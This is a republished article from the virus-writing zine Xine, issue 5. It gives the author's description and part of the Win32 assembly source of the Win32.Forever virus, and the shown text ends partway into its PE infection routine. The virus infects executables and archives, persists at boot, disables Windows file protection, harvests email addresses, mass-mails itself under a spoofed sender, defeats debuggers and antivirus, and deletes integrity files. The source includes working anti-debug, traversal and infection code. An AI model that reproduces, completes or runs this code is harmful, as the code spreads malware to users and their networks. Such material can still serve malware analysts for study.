Copy Link
Add to Bookmark
Report

Xine - issue #5 - Phile 205

eZine's profile picture
Published in 
Xine
 · 4 May 2024

 

Ú-----------------------------¿
| Xine - issue #5 - Phile 205 |
À-----------------------------Ù





;
;---ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ-¿
; Ú-ÜÜÜ-ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ-Ù [ Win32.Forever Billy Belcebu/iKX ]
; À-ÛÛÛ-ÛÛÛÛÛÛ---ÛÛÛÛÛ--¿ Ú------[ 24496 bytes Target - Win32 Ring3 ]------
; Ú-ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ-Ù | [ 02/01/01 - Made in Valencia, Spain ]
; À-ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ-ÛÛÛ---Ù
;
;
;
; [ Introduction ]
;
; After many months lost in my studies,my personal problems, and playing with
; Half-Life in a LAN (hi Winter, nIgr0 & Tcp!),i'm here to present the newest
; creature from me. I think i have changed a bit my way of code since my last
; published virus, as i don't give a shit now about structural optimization,
; and such like fool things;as i've been infected 3 or 4 times with different
; viruses (my pirate is a great target for them, so i am), i realized that
; i had to guide my steps to fast-spreading. For example, i've got infected
; with Kriz, CIH and my PoshKiller (without realizing in a whole day), i've
; seen that, meanwhile Kriz didn't infected a shit (although i had to kill
; windows), CIH was a bit faster but very unstable (fact that make me know
; at the fucking moment when i was infected); my PoshKiller was the most sta-
; ble, fast and the one that persisted more in my system (anyway i realized
; the bug with CPL files, so there is a new version (1.01) of it). The Ring-0
; viruses are the fastest ones in this side of the universe, they replicate
; as bastard motherfuckers, but only in Win9x enviroments; so its targeted
; systems are very limited, and have counted their days (Win2k is here to
; stay),so Ring-3 viruses seem the solution. In fact, they can have good
; fast-spreading abilities, but the recursive scan is rather slow. Some solu-
; tions to this problem are brought by this virus, so take a look at it! Dont
; expect many innovations among this virus: i've done it only for spread, i
; don't want any risk derivated of brand new techniques; for that reason i'm
; making other viruses. Every virus has a purpose, understand it. Also, this
; virus is my first one using some includes, for reasons of understandability
; of the code ;) The ZIP infection routines are from StarZer0, and the CAB
; one is from Prizzy. Greets here to them. Well, i'm still more proud of my
; Win32.Legacy, for example, but this virus marks a new start in my viral
; objectives. And it's so fucking big, and spreadable :P This virus initially
; had EPO features, but due some very strange bugs, it was removed on purpose
; until i found the fucking bug. Blah, who cares. This have been very boring
; to be finished at all, but finally here is it! :)
;
; Coz the lack of motivation and shits of my personal life, some bugs may be
; bypassed... anyway don't worry, if any bug found it will be solved for a
; futurible next version.
;
; [ Behaviour ]
;
; When the virus arrives on a new system, it acts in two parts:
;
; 1) First execution of the virus
;
; The virus will infect every infectable file at \WINDOWS, \WINDOWS\SYSTEM,
; and the current directory;it will drop an infected file at SYSTEM directory
; named REVEROF.EXE (with hidden, R/O and system attributes), will make some
; changes on the registry (for windows boot-up execution), and will stay
; infecting by means of a normal runtime Win32 Ring3 virus. The virus will
; disable SFC forever (in Win2k at least).
;
; 2) Windows boot-up when the virus is already there
;
; Oh, here comes the funniest stuff ;) The virus will be executed just when
; Windows has boot-up, and will begin the "spawning" state. The virus will
; have its own process (registered as system process in Win9x) and it will
; begin a recursive search through all units and all directories of the inf.
; computer, infecting everything infectable. Also, if it finds some HTM? file
; or a Windows Address Book file (WAB) it'll analyze it searching for e-mail
; addresses, and if it finds some of them, the virus will send there a copy
; of the virus. Also, the virus will delete all the integrity files of the HD
;
; [ Poly ]
;
; The poly is a new revision of my MMXE. I've realized its garbage engine was
; the worst kind of garbager never seen, so i've added many more garbage. Of
; course, it's still limited (believe me, i'm preparing a new engine with one
; of the best garbagers you've ever seen) but it's because the engine concept
; itself. I am too lazy to recode it, so i try to patch its hughest fails
; step by step. Bah, the poly doesn't need to be powerful in a virus of the
; features of this, but it helps for conceal the code to the curious eyes ;)
; It's not the best at any field, but it intends to be spreadable. About the
; poly itself, see the previous versions of MMXE for a full description, as i
; have not changed the behaviour of the engine at all.
;
; [ I-Worm ]
;
; This virus uses captabilities of the i-worms for mega-spreading. It will
; send a fake mail with an infected attachment to every e-mail address obta-
; ined from the two ways implemented:
;
; 1. E-mails found into HTM? files (searching for "mailto:")
; 2. E-mails in the WAB files, even from Outlook 5.5 - (c) LifeWire/iKX
;
; This provides us an overwhelming power :) The virus implements its own SMTP
; client engine, whick gives us a more reliable & stealthy way for sending
; e-mails to the people we want to infect, as well as we can spoof the MAIL
; FROM field, making the user believe that it really comes from Micro$oft.
; We take the SMTP server name from the registry (from the default account),
; and if these keys doesn't exist, it's able to use some harcoded spanish
; SMTP servers.
;
; This part of the virus will only work when we're on spawning stage, so in
; the first run of the virus in an infected system won't work at all. Just
; wait for the next reboot and let's play :) We won't resend the virus to
; an already used target, as it stores the CRC32 in an special file (our
; personal address book, in the C:\REVEROF.SYS file); anyway and for avoid
; problems and allow more fun, we delete that address book when the payload
; is activated, so we can resend the virus again and again :)
;
; Send mail procedures are dessigned with an intelligent usage of threads, id
; est, we earn time and handle as good as possible this critical stage of the
; virus, as we want to remain as stealthy as possible. First we create a
; thread with the lowest priority, that only awaits till we're connected to
; internet, and when this happens, it sets the thread to the highest priority
; and creates another thread with highest priority: the one that handles the
; SMTP client itself.This thread has 60 seconds to perform all its operations
; When that time passes, the virus terminates the thread, as we take this as
; a timeout error. Nice, heh? :)
;
; [ Payload ]
;
; Mwaha! The payload, of course, is not destructive. It consist in a trojan
; dropping; the trojan is a little shitty program with an icon asociated,that
; will only show you the lyrics of the song that gives its name to this virus
; But what's funny is when it is dispayed ;) The trojan is dropped in all the
; root directories of all the fixed drives (HDs), and is also dropped a cool
; file called autorun.inf; this will make a funny effect when the infected
; user tries to access the root drive from Windoze's explorer ;) The AutoWorm
; made by Murkry uses a similar principle, but his wormy spreads itself, and
; mine don't, it's just a payload :)
;
; [ Features ]
;
; + Focused to megainfection and fast spreading, genuine ITW virus.
; + Drops a copy of itself into ZIP, CAB, ARJ, RAR files
; + Infects also BAT files (slow as hell, but who cares anyway...)
; + A virus dropper will be surely executed at Windoze boot-up
; + Recursive directory infection only every windows boot-up, that will
; infect across all the fixed and remote drives of the computer
; + Win32 Spawning virus features (file at startup runs infecting all
; at background, the process is registered as "system", etc)
; + WinMe/NT/2k full compatibility (SFC, CheckSum, etc)
; + Disable System File Protection if we're under Win2k (in next reboot)
; + E-mail spreading with its own SMTP client engine
; + Uses threads for an unnoticeable mega-spreading
; + Highly antidebugging (DR?,SiCE detect & fuck,IsDebuggerPresent,etc)
; + Anti-AV in Win9x (KILLAVXD code by Z0MBiE)
; + Anti-Emulation features
; + Avoid the infection of certain files
; + Polymorphism with MMXE v1.02
; + Incurability (by means of an optimized UVE-alike engine) - Hi Qozah!
; + .reloc overwriting (the infected file doesn't grow so much)
; + Wipes the integrity check files from all the system HDs.
; + A nice and annoying payload, playing with autorun files.
;
; [ Platforms ]
;
; + Win95 - Tested. Worked perfectly.
; + Win95 OSR2 - Tested. Worked perfectly.
; + Win98 - Tested. Worked perfectly.
; + Win98 S.E. - Tested. Worked perfectly.
; + WinNT 4 - Not tested. It's supposed to work there too :)
; + Win2000 PRO - Tested. Worked perfectly.
: + WinME - Tested. Worked perfectly.
;
; [ How to build it ]
;
; TASM32 /m3 /ml FOREVER.ASM,,;
; TLINK32 /Tpe /aa FOREVER,FOREVER,,IMPORT32.LIB
; PEWRSEC FOREVER.EXE
;
; [ Thanx ]
;
; + StarZer0, LifeWire, Int13h, Prizzy, Z0MBiE, ULTRAS, Qozah, Asmodeus
; Bumblebee, GriYo
;
; [ Greetings ]
;
; VX related people:
; + StarZer0 - U master! Yez, Fede is a g0d, but aren't u too? :)
; + b0z0 - We love metal, man [:)
; + Murkry - Nice to know about your creator... ;)
; + n0ph - I want to code for your assembler :P
; + Asmodeus - Moridin & Forever... iKX megaspreading style! X-D
; + Vital - I like yer coding style... neato, neato :)
; + LifeWire - Thanx for your help in some parts of this beast :P
; + Int13h - Bonita postal ;)
; + Benny - Do the meeting in Spain!
; + Vecna - gracias por el honor de leer un virus mio cagando ;)
; + VirusBuster - La maruja virtual X-D
; + GriYo - En Documentos TV... ke lujo, joer!
; + Qozah - This babe uses your tech :)
; + Wintermute - I want Old Tomorrow's Party! ;) Btw, NIN rlz!!!
; + Rydell - Joer, 3 greets ya es pasarse :P
; + MrSandman - Nice to chat with ya... Tarantino is the master!
; + nIgr0 - William Gibson is our common g0d: Idoru rulez!
; + Tcp - Still the last at Half-Life? ;)
; + Super - ¨Sigues practicando la c0pr0fagia con nIgr0?
; + Bumblebee - Nice stuff dude... (asias x soluzionar mis bugs!)
; + Gatito - Hey, do u like NuKE dudez, heh? ;) Miau!
; + Kamaileon - Nice dude, thnx for yer "list" :]
; + Prizzy - Nice work with CABs... that's why i borrowed it :)
; + Mandragore - Chocolate & beer... simple things makes me happy X-D
; + Ypsilon - El VX mas productivo que conozco (irony rulez!) :P
; + T-2000 - We must exterminate catholicism!
; + Rajaat - my darkest black-metal friend? >:)
; + YbY - Uy, tu nick sale aki! :) Plugin r00lz da w0rld! X-P
; + somniun - oh mi diosa! para cuando un virus win32 tuyo? :)
; + DrOwlFS - nice to have news of u!!!
; + Ultras - Hi u there! Thanx for yer greets in MTX#2 :)
;
; Groups:
; + iKX - We rocked, rock and will rock forever!!! :)
; + 29A - I don't know this group... Heh? :P
; + DDT - It is officially dead as group, but not in my heart.
; + [MATRiX] - A really nice group!
; + All the rest - Oh, had i forget u? Sorry! It's cause drugz! :*)
;
; Other people:
; + Potro - I made u HIM-MANIAC! Thanx for your support always
; + Frontis - Fuck! I like yer BIG collection of DIVX movies! :P
; + Sephirot - You're better than me in CS... Well, sometimes :)
; + Kornholyo - Oh my god, they killed Kenny! :)
; + HoRuS,LuCiFeR - EHH? OH!!! TE LOS VAS A KOMER TE LOS VAS A KOMER!!!
; + FearDark - i am the man who walks alone...
; + Morete - Tas desaparesio tiu... :(
; + Duri - U made me a Scorpion's fan... SLY!
; + Teinna - a kiss for u :) zoi tu wardaezpaldaz, ein?
; + Izumi - you r0ck, darling ! :)
; + emi - wapaaaaaaaaaaaaaaaaaaaaaaaaa
; + Virgin - Thanx for my 3210, but still u r a FAT BASTARD!!!!!
; + All the other niggas friends of mine... you rule!! :)
;
; An special greet to my CD toaster, because the good times passed together.
; Also to William Gibson for his books, and Thomas Harris for create that
; character called Hannibal Lecter, that motivates me a lot :)
;
; Also, i never forget those people that fight for achieve a better world.
; Remember, you are not alone!
;
; [ Why this name? ]
;
; Well, Forever is a song (how not) of Stratovarius, that you can find in
; their album 'Episode'. It's also in the album 'The Chosen Ones' and in the
; live album 'Visions of Europe'. It's a ballad, very short compared to any
; other song of Stratovarius, but it's very emotive and i love it (hey, i've
; a romantic side too ;) It makes me remind of a girl... a very special girl
; for me. You know about what i am talking about, right? ;)
;
; FOREVER - (The song) :)
; -------
;
; I stand alone in the darkness
; the winter of my life came so fast
; memories go back to my childhood
; to days i still recall
;
; Oh how happy i was then
; there was no sorrow, there was no pain
; walking through the green fields
; sunshine in my eyes
;
; I'm still there everywhere
; I'm the dust in the wind
; I'm the star in the northern sky
; I never stayed anywhere
; I'm the wind in the trees
; Would you wait for me... forever?
;
; [ Dedications and fuck-offs ]
;
; This program is dedicated to all the people who fight for achieve a better
; world; also to all the virusmakers around, all the marxists (and whose i
; share ideas of any kind) and to all my friends over the world.The fuck-offs
; go to all the scum who don't deserve its own existence: all the fascists,
; intolerant,arrogant and posh people.I sincerely hope this virus will infect
; all those despreciable kind of people. It's not destructive anyway. It just
; will threat them. Panic will do the rest.
;
; Up the irons!
;
; (c) 1999-2000-2001 Billy Belcebu/iKX [ http://www.billybelcebu.org ]

;------------------------------[ FOREVER.ASM ]------------------------------;

;############################################################################
;# WIN32.FOREVER (c) 2000 Billy Belcebu/iKX #
;############################################################################

; "Una mente puede ser mal‚fica sin tener que ser anormal"
; - Dennis Nilsen (a serial killer)


.586p
.model flat,stdcall

display " [ Win32.Forever ] - [ Billy Belcebu [iKX] ] - [ Win32.Forever ] "

extrn MessageBoxA:PROC
extrn ExitProcess:PROC

.data

include forever.inc

; Virus mode switches

debug = false
spread = false
winboot = true

; Hehehehehehe ;)

if spread

szMsg db "Fatal Error",0
szTtl db "File MSVCRT6.DLL not found in the system directory",10
db "Please reinstall the product from its original package",10
db "or contact your provider fore more info.",0

else

szMsg db "Win32.Forever",0
szTtl db "First generation host",10
db "Viral Size : "
db virus_size/10000 mod 10 + "0"
db virus_size/01000 mod 10 + "0"
db virus_size/00100 mod 10 + "0"
db virus_size/00010 mod 10 + "0"
db virus_size/00001 mod 10 + "0"," - "
db "Virtual Size : "
db total_size/10000 mod 10 + "0"
db total_size/01000 mod 10 + "0"
db total_size/00100 mod 10 + "0"
db total_size/00010 mod 10 + "0"
db total_size/00001 mod 10 + "0",10

; Put some miscellaneous information

if debug
db "- DEBUG MODE/SAFE MODE -",10
elseif
db "!!!DEBUG MODE DISABLED!!!",10
endif

if winboot
db "!!!WINBOOT MODE ENABLED!!!",10
endif

if debug
else
if winboot
db "[TOTAL RETALIATION MODE ACTIVATED]",10
endif
endif

db "(c) 1999-2000 Billy Belcebu/iKX",0

endif


; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % First generation fake host %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

; Don't fear the reaper, baby

firstgen:
call MessageBoxA,00h,offset szTtl,offset szMsg,1010h
call ExitProcess,-1

.code

; Marilyn Manson Slipknot
; -------------- --------
; KILL YOUR GOD FUCK IT ALL FUCK THIS WORLD FUCK EVERYTHING THAT U STAND FOR
; KILL YOUR TV DONT BELONG DONT EXIST DONT GIVE A SHIT DONT EVER JUDGE ME

_1stgencode:

virus_start = $

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % Virus entrypoint %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

forever:

db LIMIT dup (90h) ; Here comes the poly

; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
; This piece of code uses the great idea that my very good friend Qozah had,
; about the possible incurability of viruses... So, let's standarize that
; method... The way is using it! PS: Unreal rulez...
;
; The thing is simple, we're gonna put here 7 MOVs with all 32 bit registers
; (except ESP for obvious reasons). If the first opcode of the infected file
; was a MOV reg32,? it will be here in a random place, mixed with 6 more MOVs
; with fake values. Also, it doesn't matter if the first opcode was not a MOV,
; as here will be 7 fake MOVs. So, the AV won't be able to know what opcode
; was the legit, and what was the fake one. Interesting :)
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

incurable:
db 07h*05h dup (90h) ; Space for fake/legit instr.

; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

push eax ; Reserve space on stack

pushad

; Below code make heuristics yell as hell, let's kill'em before then ;)

call MakeFault
mov esp,[esp+08h]
jmp real_start
MakeFault:
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp

div edx ; b00m!

db 0EAh

real_start:
xor edx,edx ; Quit SEH frame
pop dword ptr fs:[edx]
pop edx

call annoy@@1 ; Hiya LifeWire!
db 0FFh

call GetDeltaOffset ; Hmmm... this is innovative :P
db 067h

call annoy@@1
db 0C7h

call SetFrameSEH ; Set the new SEH handler

; This is the main SEH handler of the virus. If something goes wrong, we'll
; end here (sigh, i don't want that) :)

mov esp,[esp+8] ; ESP must be restored
call GetDeltaOffset ; We need to get d-ofs again
db 066h
jmp ByeByeVirus

db 0E8h ; Annoy is da word.

SetFrameSEH:
xor edx,edx ; Set-Up a new SEH frame
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp

call annoy@@1
db 0EAh

call $+5 ; Get process modulebase
pop esi ; (bugfix!)
push 05h
pop ecx
call CheckImageBase
mov dword ptr [ebp+ModBase],esi

; Here EDX = 0

mov esi,[esp+2Ch] ; Get return address
push 05h ; Search Limit (*10 pages)
pop ecx
call CheckImageBase
PutOSx: or ecx,ecx
jz ByeByeVirus
cmp esi,kernel_w9x ; Now check if we know the
jz PutOS ; running OS...
inc edx
cmp esi,kernel_wNT
jz PutOS
inc edx
cmp esi,kernel_w2k
jz PutOS
inc edx
cmp esi,kernel_wMe
jz PutOS
inc edx

PutOS: mov dword ptr [ebp+kernel],esi
mov byte ptr [ebp+running_os],dl

cmp dl,running_w9x
jnz w32_infection

pushad
call VxDFix ; Fix all VxDCalls ;)
call w9x_specific ; Ring-0 module
popad

mov ecx,fs:[20h] ; This don't work in Win2k
jecxz w32_infection

cli
jmp $-1

w32_infection:
lea eax,[ebp+api_list] ; Let's detect all the needed
xchg eax,esi ; APIs :)
lea edi,[ebp+api_addresses]
call GetAPIs

; Now check if we're already present (probably spawning) ;)

call ovrmrk

; Also, this is the id mark of the virus :)

;---------------------------------------------------------------------------¿
db "Win32.Forever",00h,"(c) 2000 Billy Belcebu/iKX",00h ; |
;---------------------------------------------------------------------------Ù

ovrmrk: push 01h ; If the mutex already exist,
push 00h ; it means that the virus is
apicall CreateMutexA ; already being run.
apicall GetLastError
or eax,eax
jnz ByeByeVirus

lea edi,[ebp+random_seed] ; Initialize slow random seed
push edi
apicall GetSystemTime

;---[ AntiSoftICE ]----------------------------------------------------------

and byte ptr [ebp+SoftICE],00h ; For avoid problemz

if debug

; Me toco los cojones... X-D

else


DetectSICE:
lea edi,[ebp+Drivers2Avoid]
SearchDriverz:
xor eax,eax ; This little trick allows
push eax ; us to check for drivers,
push 80h ; so we can check for our
push 03h ; beloved SoftICE in its
push eax ; Win9x and WinNT versions...
inc eax
push eax
push 0C0000000h
push edi
apicall CreateFileA

inc eax
jz NoDriverFound
dec eax

; If we arrived here is because SoftICE is there... So, we won't infect any
; file :)

push eax
apicall CloseHandle

inc byte ptr [ebp+SoftICE]

NoDriverFound:
xor al,al ; Get another driver :)
scasb
jnz $-1

cmp byte ptr [edi],0BBh
jnz SearchDriverz

cmp dword ptr [ebp+IsDebuggerPresent],00h
jz ContinueTests

;---[ AntiAppDebuggers ]-----------------------------------------------------

apicall IsDebuggerPresent
xchg eax,ecx
jecxz ContinueTests

cli ; Auto-hanger :P
call $-1

endif

ContinueTests:

;----------------------------------------------------------------------------

; Put the switches in the right places :)

if debug
mov byte ptr [ebp+switch],090h
mov byte ptr [ebp+switch2],090h
else
mov byte ptr [ebp+switch],0C3h ; Don't allow e-mail spread yet
mov byte ptr [ebp+switch2],0C3h
endif

mov byte ptr [ebp+BAT_switch],090h

cmp dword ptr [ebp+kernel],kernel_w2k
jnz over_KillSFC

call KillSFC ; This is soooooo nice :)

over_KillSFC:
call SMTPInitClient ; Get SMTP server name
mov dword ptr [ebp+SMTPNamePtr],esi

; Here begins the genuine infection's dance...

lea edi,[ebp+current_dir] ; Save current directory to
push edi ; a temp variable
push MAX_PATH
apicall GetCurrentDirectoryA

lea edi,[ebp+infect_dir]
push MAX_PATH
push edi
apicall GetWindowsDirectoryA
call SetNewDir&InfectFilesInDirectory

lea edi,[ebp+infect_dir]
push MAX_PATH
push edi
apicall GetSystemDirectoryA
call SetNewDir&InfectFilesInDirectory

lea edi,[ebp+current_dir]
push edi
apicall SetCurrentDirectoryA
call InfectFilesInDirectory

; Well, now check if we have to spawn :)

lea esi,dword ptr [ebp+HostName]
push esi
push 00h
apicall GetModuleFileNameA

; Convert string to uppercase

call ToUpperCase

loopit: ; REVEROF.EXE
lodsb
test al,al
jz ItIsNotDropper

cmp dword ptr [esi],"EVER" ; Paranoia!
jnz loopit
cmp dword ptr [esi+4],".FOR"
jnz loopit
cmp dword ptr [esi+7],"EXE."
jnz loopit

;---[ Spawning ]-------------------------------------------------------------


cmp byte ptr [ebp+running_os],running_w9x
jnz AvoidHideProcess

push 01h ; Blah, in NT this don't work
push 00h ; at all... register spawned
apicall RegisterServiceProcess ; copy as a process, so it
; won't appear at the taskmon
AvoidHideProcess:
mov byte ptr [ebp+switch],090h ; Allow e-mail spreading :)
mov byte ptr [ebp+switch2],090h

if debug ; The debug action :)
push 0
pushs "Win32.Forever"
pushs "W4RN1NG - T0T4L R3T4L14T10N 4CT1V4T3D"
push 0
apicall MessageBoxA_
endif

; Launch as a thread the recursive search

xor edx,edx

call over_tid
dd ? ; lpThreadId
over_tid:
push edx ; dwCreationFlags
push ebp ; lpParameter
lea eax,[ebp+RecursiveSearch]
push eax ; lpStartAddress
push edx ; dwStackSize
push edx ; lpThreadAttributes
apicall CreateThread

or eax,eax ; Error?
jz ErrorCreatingThread ; Damn...

xchg eax,edi

; Now set its priority to low coz we don't want to be so noticeable :)

push -1 ; Set priority to low
push edi ; (but not t00 much ;)
apicall SetThreadPriority

; We must wait all the time we need, guyz, WE'RE SPAWNED ;)

xor eax,eax ; Wait infinite seconds until
dec eax ; thread is finished
push eax ; Push -1
push edi ; Push thread handle
apicall WaitForSingleObject

ErrorCreatingThread:
jmp ByeByeVirus

;----------------------------------------------------------------------------

ItIsNotDropper:
call ReleaseDropper ; Put the infected dr0pper
call BuildWinBootVirusCopy ; Prepare the b00t-up virus
call KillDropper ; Hide our steps ;)

ByeByeVirus:

QuitFrameSEH:
xor edx,edx
pop dword ptr fs:[edx]
pop edx

mov eax,(00400000h)
ModBase = $-4
add eax,offset firstgen-400000h
OldEIP = $-4

mov [esp.RetAddress],eax ; Pffffff....
popad
ret

db "Baby, join me in death..." ; One of my favouritez: HIM

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % Search files by wildcards (Ring-3 runtime method) %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

SetNewDir&InfectFilesInDirectory:
lea edi,[ebp+infect_dir] ; This will set the wanted dir
push edi ; and will infect files there
apicall SetCurrentDirectoryA

InfectFilesInDirectory:
lea eax,[ebp+WIN32_FIND_DATA] ; Search for files
push eax
lea eax,[ebp+SEARCH_MASK]
push eax
apicall FindFirstFileA
mov dword ptr [ebp+SearchHandle],eax

inc eax
jz FailOccured

SearchForMore:
push dword ptr [ebp+ModBase] ; Preserve untouchable info
push dword ptr [ebp+OldEIP]

lea ebx,[ebp+WFD_szAlternateFileName]
lea edi,[ebp+WFD_szFileName] ; Is the file found factible
push edi ; of being infected?
call ProcessExtension
pop edi
jecxz NotThisTime ; Nopes.

dec ecx
jecxz ItIsPE
dec ecx
jecxz ItIsArchive
dec ecx
jecxz ItIsWeb

ItIsWAB:
call AnalyzeWAB ; It was a WAB file
jmp NotThisTime

ItIsWeb:
call AnalyzeHTM ; It was a HTM* file X-D
jmp NotThisTime

ItIsArchive:
call InfectArchive ; It was an archive
jmp NotThisTime

ItIsPE: call InfectPE ; It's a PE executable

NotThisTime:
pop dword ptr [ebp+OldEIP] ; Restore this interesting
pop dword ptr [ebp+ModBase] ; info

lea edi,[ebp.WIN32_FIND_DATA] ; Fill this with zeroes
mov ecx,WFD_Size
xor al,al
push edi
rep stosb ; Search for more filez :)
push dword ptr [ebp+SearchHandle]
apicall FindNextFileA

or eax,eax
jnz SearchForMore

CloseSearchHandle:
push dword ptr [ebp+SearchHandle]
apicall FindClose
FailOccured:
ret

db "greetz to s0, b0z0, vital, lifey, asmody, murkry, n0ph..."
db "i.e., all the iKX family... "

db 0FFh

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % Recursive file search (Ring-3 tricky fast spreading) %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

; This piece of code is only executed when we're on spawning stage. It's
; launched as a thread with a priority below normal because we don't want it
; to suck too much resources from the computer, ie make it less noticeable to
; the eyes of the user. It will search for files in all the existing drives
; from C:\ to Z:\, the drives that have attribute of FIXED (normal HD) or
; remote (LAN that are mapped - usually happens). It will search for files
; in all the directories/subdirectories without discrimination. This makes it
; to be really infectious. Also, we enable here the MAPI functions, so if we
; find a HTM? file, we'll search in it for e-mails, and we'll send there an
; infected attachment with a fake e-mail (see mail spreading routines). We
; prevent the infection of BAT files in root directories, because a file like
; AUTOEXEC.BAT or similar will be suspicious if it occupies +100k :) Between
; the infetion in one drive and another, it waits 5 seconds. Just for let the
; system work fast at least 5 sec :) Btw, the delay of 1 minute is for "let"
; the user to connect to internet, LAN, etc :)

RecursiveSearch proc d3lt4:DWORD

mov ebp,d3lt4 ; Get delta offset :)

pushad

if debug
int 3
else
push 60000d ; Wait 1 minute before party
apicall Sleep ; begins :)
endif

lea esi,[ebp+temp_dir] ; This is for know in what
push esi ; unit is the infected file
push MAX_PATH ; being executed (for return
apicall GetCurrentDirectoryA ; to it l8r)

lea edi,[ebp+unit]

mov dword ptr [edi],"\:C" ; Set 1st search unit to C:\

; We attack DRIVE_FIXED and DRIVE_REMOTE

DriveLoop:
push edi ; Check for the kind of unit
apicall GetDriveTypeA

cmp al,DriveRemote ; We can infect through local
jz attack ; nets if drives r mapped
; Thnx to Tcp for pointing this
cmp al,DriveFixed ; We don't want to lose time
jnz NextUnit ; with non-fixed drives ;)

attack: push edi ; Set root as current dir
apicall SetCurrentDirectoryA

pushad
mov byte ptr [ebp+BAT_switch],0C3h
call DeleteIntegrityFiles ; I have to put this also here,
call InfectFilesInDirectory ; or the root directory wont be
call payload ; infected
mov byte ptr [ebp+BAT_switch],090h
popad

call Traversal

push 5000d ; Stop 5 seconds before
apicall Sleep ; changing to the next unit

NextUnit:
inc byte ptr [edi] ; Infect all logical drives
cmp byte ptr [edi],"Z" ; from C to Z
jna DriveLoop

push esi ; Restore old directory ;)
apicall SetCurrentDirectoryA

popad

push 00h
apicall ExitThread
RecursiveSearch endp

; The recursive search in the given unit ;)

Traversal:
pushad

xor ebx,ebx ; Clear counter

findfirstdir:
lea edi,[ebp._WIN32_FIND_DATA] ; Search for directories
push edi
pushs "*.*" ; We want dirz
apicall FindFirstFileA

mov dword ptr [ebp+TSHandle],eax ; Save that search handle

inc eax
jz notfoundfirstdir

main_trav:
bt word ptr [ebp._WFD_dwFileAttributes],4
jnc findnextdir ; We want only directories
; (i don't care about its kind)
lea eax,[ebp._WFD_szFileName]

cmp byte ptr [eax],"." ; Is dir "." or ".."?
jz findnextdir ; Shitz, we don't like it

push eax ; Set the new directory
apicall SetCurrentDirectoryA

; Action to do in each directory comes here ;)

pushad
call DeleteIntegrityFiles ; Mmmmm... kewl
call InfectFilesInDirectory ; Of course ;)
popad

; Till here :P

push dword ptr [ebp+TSHandle] ; Save handle
inc ebx ; Increase counter :)
jmp findfirstdir
findnextdir:
push edi ; Search for another dir
push dword ptr [ebp+TSHandle]
apicall FindNextFileA

or eax,eax ; If fail, return back to
jnz main_trav ; previous directory

notfoundfirstdir:
pushs ".." ; Set previous directory
apicall SetCurrentDirectoryA ; (dot-dot rlz!)

or ebx,ebx ; Are we in root? yeah, it's
jz nomoretosearch ; over! our search finished!

dec ebx ; Decrease countah
pop dword ptr [ebp+TSHandle]
jmp findnextdir

notfoundnextdir:
push dword ptr [ebp+TSHandle] ; Ohhhhh yes... cumshot! :)~
apicall FindClose
jmp notfoundfirstdir

nomoretosearch:
popad
ret

db 0BBh ; Mmmm... this is interesting

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % PE infection %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

; This is a very improved version of my PE infection routines. Basically,it's
; dessigned for work under all platforms, and it still lacks some stuff not
; really needed in my eyes (preserving old file time/date, noone cares!). It
; will work in Win2k without errors (tested) because we avoid the SFC prote-
; cted files on purpose. It handles also the incurability of the virus, that
; was already explained in the first lines of the virus. Well, the virus acts
; depending of the existence of .reloc section. If it exist, the virus will
; generate a random 6 chars name - ".??????",0,0 (? is a random char), and
; will overwrite that section with the virus code. If it doesn't exist, we
; infect by means of increasing the last section. Also, if the file has the
; checksum field with a non-zero value (means that it uses checksum!), we
; calculate the new checksum after-infection. This is useful for infect some
; system archives in NT/2k systems.

InfectPE:
cmp dword ptr [ebp+SfcIsFileProtected],00h
jz NotInWin2k ; Avoid this :P

; Win2k/WinME specific routine

push edi ; See if file is protected
push 00h ; with SFC functions
apicall SfcIsFileProtected

or eax,eax ; If so, don't infect
jnz ExitInfectPE

NotInWin2k:
push edi
apicall GetFileAttributesA
mov dword ptr [ebp+OldAttr],eax
mov dword ptr [ebp+InfFile],edi

push 80h ; Destroy hostile attributes
push edi
apicall SetFileAttributesA

xor eax,eax ; Open file for R/W
push eax
push eax
push 03h
push eax
inc eax
push eax
push 0C0000000h
push edi
apicall CreateFileA

inc eax
jz ExitInfectPE1
dec eax

mov dword ptr [ebp+FileHandle],eax ; Save handle of opened file

push eax

push 00h
push eax
apicall GetFileSize ; Get its size
mov dword ptr [ebp+OriginalSize],eax
mov dword ptr [ebp+NewSize],eax
pop ecx
add eax,total_size

push eax

xor ebx,ebx ; EBX = 0
push ebx
push eax ; push size
push ebx
push 04h
push ebx
push ecx ; push handle
apicall CreateFileMappingA

pop ecx ; ECX = Size to map

or eax,eax
jz CloseFileExitInfectPE

